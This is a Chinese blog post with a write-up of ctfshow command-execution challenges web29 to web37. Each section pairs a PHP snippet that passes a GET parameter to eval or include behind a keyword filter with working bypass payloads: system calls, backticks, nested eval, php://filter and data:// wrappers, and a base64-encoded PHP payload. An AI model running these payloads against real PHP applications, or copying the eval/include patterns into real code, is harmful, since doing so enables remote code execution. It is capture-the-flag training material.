Ngkcvs3's blog Ngkcvs3's blog
首页
  • 漏洞复现
  • JavaScript文章
  • VPS
  • web
  • AWD
  • CSS
  • Test
  • 技术文档
  • GitHub技巧
  • 《Git》学习笔记
  • 博客搭建
  • Nodejs
  • 友情链接
关于
收藏
  • 分类
  • 标签
  • 归档
GitHub (opens new window)

Ngkcvs3

Blog
首页
  • 漏洞复现
  • JavaScript文章
  • VPS
  • web
  • AWD
  • CSS
  • Test
  • 技术文档
  • GitHub技巧
  • 《Git》学习笔记
  • 博客搭建
  • Nodejs
  • 友情链接
关于
收藏
  • 分类
  • 标签
  • 归档
GitHub (opens new window)
  • web

    • web&misc

    • unserialize
    • PHP正则表达式
    • php反序列化题目收集
    • BugKu-web
    • 青少年CTF练习平台-web
    • 文件包含与php伪协议
    • ctfshow命令执行
      • 题目(ctfshow)
      • 1.web29(VIP)
      • 2.web30 (VIP)
      • 3.web31 (VIP)
      • 4.web32 (VIP)
      • 5.web33(VIP)
      • 6.web34(VIP)
      • 7.web35.php(VIP)
      • 8.web36.php(VIP)
      • 9.web37.php(VIP)
  • AWD

  • CSS

  • Test

  • CTF
  • web
Ngkcvs6
2025-03-06
目录

ctfshow命令执行

# ctfshow命令执行

# 题目(ctfshow)

# 1.web29(VIP)

<?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}
1
2
3
4
5
6
7
8
9
10
11

过滤了 flag 关键字

知识点

  1. eval函数可以理解为代码执行 动态执行php代码

  2. system函数可以理解为命令执行 执行shell命令

  3. php最后一个语句可以没有分号

    1. eval(phpinfo()) 无输出结果
    2. eval(phpinfo();)有输出结果
    3. eval(phpinfo()?>) 有输出结果
  4. file _get_contents() 获取文件内容 以字符串方式返回 这道题屏蔽了flag.php所以不能使用这个

payload:

?c=phpinfo();
?c=system('ls');
?c=system('tac f*');
...
1
2
3
4

image

image

# 2.web30 (VIP)

 <?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
} 
1
2
3
4
5
6
7
8
9
10
11

php、flag、system 关键字都被过滤了,system 用不了了,可以考虑使用反引号 `` 执行系统命令

payload:

?c=`cp f* 1.txt`;
1

image

# 3.web31 (VIP)

<?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}
1
2
3
4
5
6
7
8
9
10
11

flag、system、php、cat、sort、shell 、. 都被过滤了,可以使用嵌套一个eval来解决。

?c=eval($_GET[123]);&123=phpinfo();
?c=eval($_GET[123]);&123=system('ls');
?c=eval($_GET[123]);&123=system('tac flag');
1
2
3

image

image

# 4.web32 (VIP)

<?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}
1
2
3
4
5
6
7
8
9
10
11

知识点: include可以读取非php文件内容输出直接输出到页面,当使用 include 包含一个非 PHP 文件时,PHP 解释器会将这个文件的内容视为纯文本,并将其直接输出到浏览器

这次发现 空格单引号反引号 还有括号都给禁用了 ,使用 include 读取文件内容输出直接输出到页面,%0A 是url编码中的 换行

过滤器获取到php文件的内容后生成了base64编码后的字符串,include包含进来无法判定是php代码,所以直接进行输出,然后进行解码即可

?c=include%0a$_GET[123]?>&123=php://filter/convert.base64-encode/resource=flag
1

image

# 5.web33(VIP)

<?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}
1
2
3
4
5
6
7
8
9
10
11

多加了一个双引号 ,无影响,使用 include 方法同样有效

?c=include%0a$_GET[123]?>&123=php://filter/read=convert.base64-encode/resource=flag
1

# 6.web34(VIP)

<?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}
1
2
3
4
5
6
7
8
9
10
11

这次新增了过滤 冒号 ,可使用 include ,也可使用 require 他和include效果一样,都是用于文件包含

?c=require%0a$_GET[123]?>&123=php://filter/convert.base64-encode/resource=flag
?c=include%0a$_GET[123]?>&123=php://filter/read=convert.base64-encode/resource=flag
1
2

image

image

# 7.web35.php(VIP)

<?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}
1
2
3
4
5
6
7
8
9
10
11

又新增了 过滤了 < 和 =,依旧可使用:require 、include

?c=require%0a$_GET[123]?>&123=php://filter/convert.base64-encode/resource=flag
?c=include%0a$_GET[123]?>&123=php://filter/read=convert.base64-encode/resource=flag
1
2

# 8.web36.php(VIP)

<?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|\[1-9\]+|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}
1
2
3
4
5
6
7
8
9
10
11

过滤了1-9

第一种方法

?c=require%0a$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag

第二种方法

data://text/plain 是一种 PHP 中的数据流协议,它允许将数据作为 URL 直接嵌入到 PHP 代码中。具体来说,这个协议用于将纯文本数据嵌入到 PHP 脚本中,而不必将其放在单独的文件中

?c=include%0a$_GET[1]?>&1=data://text/plain,<?php system("cat fla*");?>

# 9.web37.php(VIP)

<?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        include($c);
        echo $flag;
    
    }
        
}else{
    highlight_file(__FILE__);
}
1
2
3
4
5
6
7
8
9
10
11
12
13

参数 c 包含一个文件 $c的值不能是 flag

payload:

?c=data://text/plain,<?php%20system("cat%20fla*");?>

?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==

<?php system('cat flag.php');?>

data将数据传给变量c ,include包含后,数据流进行解密,然后执行代码

image

image

参考地址:

https://blog.csdn.net/m0_72125469/article/details/142095571 (opens new window)

编辑 (opens new window)
上次更新: 2025/06/08, 09:36:22
文件包含与php伪协议
CSS教程和技巧收藏

← 文件包含与php伪协议 CSS教程和技巧收藏→

最近更新
01
test文件
11-07
02
CSS给table的tbody添加滚动条
11-07
03
网格布局中的动画
11-07
更多文章>
Theme by Vdoing | Copyright © 2019-2025 Ngkcvs3 | 89374048309748324003097832
  • 跟随系统
  • 浅色模式
  • 深色模式
  • 阅读模式
欢迎来到
看板娘